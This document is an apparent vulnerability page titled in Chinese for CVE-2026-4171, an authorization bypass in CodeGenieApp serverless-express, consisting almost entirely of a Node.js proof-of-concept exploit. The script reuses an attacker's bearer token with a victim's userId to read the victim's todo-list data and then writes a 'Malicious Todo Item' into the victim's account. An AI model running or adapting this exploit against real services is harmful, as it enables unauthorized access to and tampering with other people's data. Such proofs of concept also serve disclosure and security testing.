CVE-2026-4171 CodeGenieApp serverless-express 授权绕过漏洞

// CVE-2026-4171 PoC - Authorization Bypass via userId Parameter Manipulation // Target: CodeGenieApp serverless-express API Endpoint const axios = require('axios'); // Configuration const TARGET_URL = 'https://target-server.com/api/todolist'; const ATTACKER_TOKEN = 'attacker_low_privilege_token'; const VICTIM_USER_ID = 'victim_user_id_123'; async function exploitAuthorizationBypass() { console.log('[+] CVE-2026-4171 Authorization Bypass Exploit'); console.log('[+] Target:', TARGET_URL); // Step 1: Normal request with attacker's own userId console.log('\n[*] Step 1: Testing with attacker userId...'); try { const normalResponse = await axios.get(`${TARGET_URL}`, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' }, params: { userId: 'attacker_own_user_id' } }); console.log('[+] Normal request successful:', normalResponse.status); } catch (error) { console.log('[-] Normal request failed:', error.message); } // Step 2: Exploit - Bypass authorization by manipulating userId console.log('\n[*] Step 2: Exploiting authorization bypass with victim userId...'); try { const exploitResponse = await axios.get(`${TARGET_URL}`, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' }, params: { userId: VICTIM_USER_ID // Manipulating userId to access victim's data } }); console.log('[+] Exploit successful - Accessed victim data!'); console.log('[+] Response status:', exploitResponse.status); console.log('[+] Response data:', JSON.stringify(exploitResponse.data, null, 2)); return true; } catch (error) { console.log('[-] Exploit failed:', error.message); return false; } } // POST request exploitation async function exploitWriteOperations() { console.log('\n[*] Step 3: Testing write operations on victim account...'); try { const writeResponse = await axios.post(`${TARGET_URL}`, { userId: VICTIM_USER_ID, data: { title: 'Malicious Todo Item', description: 'Added via authorization bypass' } }, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' } }); console.log('[+] Write operation successful!'); console.log('[+] Response:', JSON.stringify(writeResponse.data, null, 2)); } catch (error) { console.log('[-] Write operation failed:', error.message); } } // Execute exploit (async () => { const success = await exploitAuthorizationBypass(); if (success) { await exploitWriteOperations(); } console.log('\n[!] Exploit completed'); })();